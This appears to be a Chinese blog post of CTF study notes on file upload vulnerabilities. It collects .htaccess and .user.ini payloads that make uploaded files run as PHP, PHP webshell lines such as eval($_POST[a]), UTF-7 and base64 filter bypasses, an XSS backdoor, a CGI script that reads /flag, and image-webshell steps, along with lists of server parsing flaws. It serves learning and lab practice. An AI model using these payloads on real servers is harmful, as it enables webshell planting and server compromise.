上传文件漏洞

上传文件漏洞

参考国光:https://www.sqlsec.com/2020/10/upload.html#toc-heading-22

0 可上传配置文件

可以看upload_labs的攻略

0.1 .htaccess 伪静态

概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

.htaccess的一些语法:

0.1.1转php

AddHandler php5-script .jpg

AddType application/x-httpd-php .jpg

Sethandler application/x-httpd-php

总而言之:

SetHandler application/x-httpd-php .后缀

以这个为后缀的文件都当交给php解释器解析 (所以这个文件还是要<?php标签的!只是可以随意后缀名)

  • 法2

0.1.2文件包含

php_value auto_append_file /tmp/webshell.txt

php_value auto_append_file /tmp/sess_xxxxxx

一般用于awd

Xss后门:

php_value highlight.comment '"><script>alert(1);</script>'

自包含

马1

php_value auto_append_file .htaccess
#<? php eval($_POST[a]);?>

马2 (防<? script 被过滤)

php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7”
php_value auto_append_file .htaccess
#+ADw-script+AD4-alert(1)+ADsAPA-/script+AD4 
#+ADw?php phpinfo()+Ads

0.1.3反序列化回调

php_value unserialize_callback_func "phpinfo” 

一旦PHP文件中发生了反序列化,phpinfo就会触发

unserialize('O:1:"1":0:{}');

0.1.4 绕过< type

<FilesMatch "shana">
SetHandler application/x-httpd-php
</FilesMatch>

当不可以<时

AddType application/x-httpd-php .wuwu
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.wuwu"

type和<被过滤,payload

AddHandler php7-script .txt

还有一种payload

#define width 1337
#define height 1337 
AddType application/x-httpd-php .txt
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.txt

php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.txt是base64解码的意思,所以上传的时候要base64上传

0.1.5 文件名和内容都过滤ph

先上传htaccess

Options +ExecCGI

SetHandler cgi-script

后上传cgi

#!/bin/bash

echo "Content-Type: text/plain”

echo ""

cat /flag 

exit 0 

这个cgi就会相当于linux脚本一样执行起来

非预期:

AddType application/x-httpd-p\

hp .jpg

核心思想就是这个斜杠相当于换行(这点类似于linux)于是绕过了过滤

很牛逼的做法

0.1.6基于htaccess的盲注

image-20220522212857439

0.2 .user.ini

auto_prepend_file=/flag

1 一些小trick

1.0 js过滤

burp抓包绕前端

1.1 改content-type

image/jpeg

别人的博客是真滴香甜!!

1.2 后缀名大小写

1.3 二次渲染(图片马)

条件:遇到imagecreatefrom这种图片渲染函数+有任意文件包含且解析为Php的漏洞(如include管理不善而引发的任意文件包含)

利用:

先传一张正常图片

然后经渲染后下载下来

然后再使用jpg_payload-master合成二次渲染的图片马

┌──(thai㉿DESKTOP-322K1AV)-[/mnt/c/Users/20281/Desktop/webtools/jpg_payload-master/jpg_payload-master]
└─$ php jpg_payload.php 2.jpg
Success!

接着再次上传,然后包含

效果如下

image-20211207213910373

然后蚁剑成功连接

2 基础知识和工具

2.1 上传文件用的前端

<!DOCTYPE html>
<html>
<body>
<form action="http://e113b1bc-28b8-4f08-9e60-b74fe3a96ef3.chall.ctf.show/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('dir');?>" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

2.2 通过靶场推荐

靶场环境:https://github.com/c0ny1/upload-labs

环境搭建:

1 2 docker pull c0ny1/upload-labs docker run -d -p 80:80 upload-labs

判断上传漏洞的类型:

image-20211104151019788

文件上传漏洞主要存在以下几个方面:

  1. 可解析的后缀,也就是该语言有多个可解析的后缀,比如 php 语言可解析的后缀为php,php2,php3 等等
  2. 大小写混合,如果系统过滤不严,可能大小写可以绕过。
  3. 中间件,每款中间件基本都解析漏洞,比如 iis 就可以把 xxx.asp;.jpg 当 asp 来执行。
  4. 系统特性,特别是 Windows 的后缀加点,加空格,加 ::$DATA 可以绕过目标系统。
  5. 语言漏洞,流行的三种脚本语言基本都存在 00 截断漏洞。
  6. 双后缀,这个与系统和中间件无关,偶尔会存在于代码逻辑之中。

2.3 可解析的后缀

很多语言都有多个可以解析后缀。当目标站点采用黑名单时,往往包含不全。

语言 可解析后缀
asp/aspx asp、aspx、asa、asax、ascx、ashx、asmx、cer
php php、php5、php4、php3、php2、phtml、pht
jsp jsp、jspa、jspx、jsw、jsv、jspf、jhtml

3 中间件漏洞

3.1 IIS

IIS 一共有三个解析漏洞:

  1. IIS 6.0 文件解析 xx.asp;.jpg
  2. IIS 6.0 目录解析 xx.asp/1.jpg
  3. IIS 7.5 畸形解析 xxx.jpg/x.php

3.2 Apahce

apache 相关的解析漏洞有两个:

  1. %0a (CVE-2017-15715)
  2. 未知后缀 test.php.xxx

3.3 nginx

nginx 解析漏洞有三个:

  1. 访问链接加 /xxx.php,即 test.jpg/xxx.php
  2. 畸形解析漏洞 test.jpg%00xxx.php
  3. CVE-2013-4547 test.jpg(非编码空格)\0x.php

3.4 tomcat

tomcat 用于上传绕过的有三种,部分限制在 windows 操作系统下。

  1. xxx.jsp/
  2. xxx.jsp%20
  3. xxx.jsp::$DATA

3.5 Windows特点

经过查资料,目前发现在系统层面,有以下特性可以被上传漏洞所利用。

  • Windows 下文件名不区分大小写,Linux下文件名区分大写
  • Windows 下 ADS 流特性,导致上传文件 xxx.php::$DATA = xxx.php
  • Windows 下文件名结尾加入.空格<>>>>0x81-0xff等字符,最终生成的文件均被 windows 忽略。
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇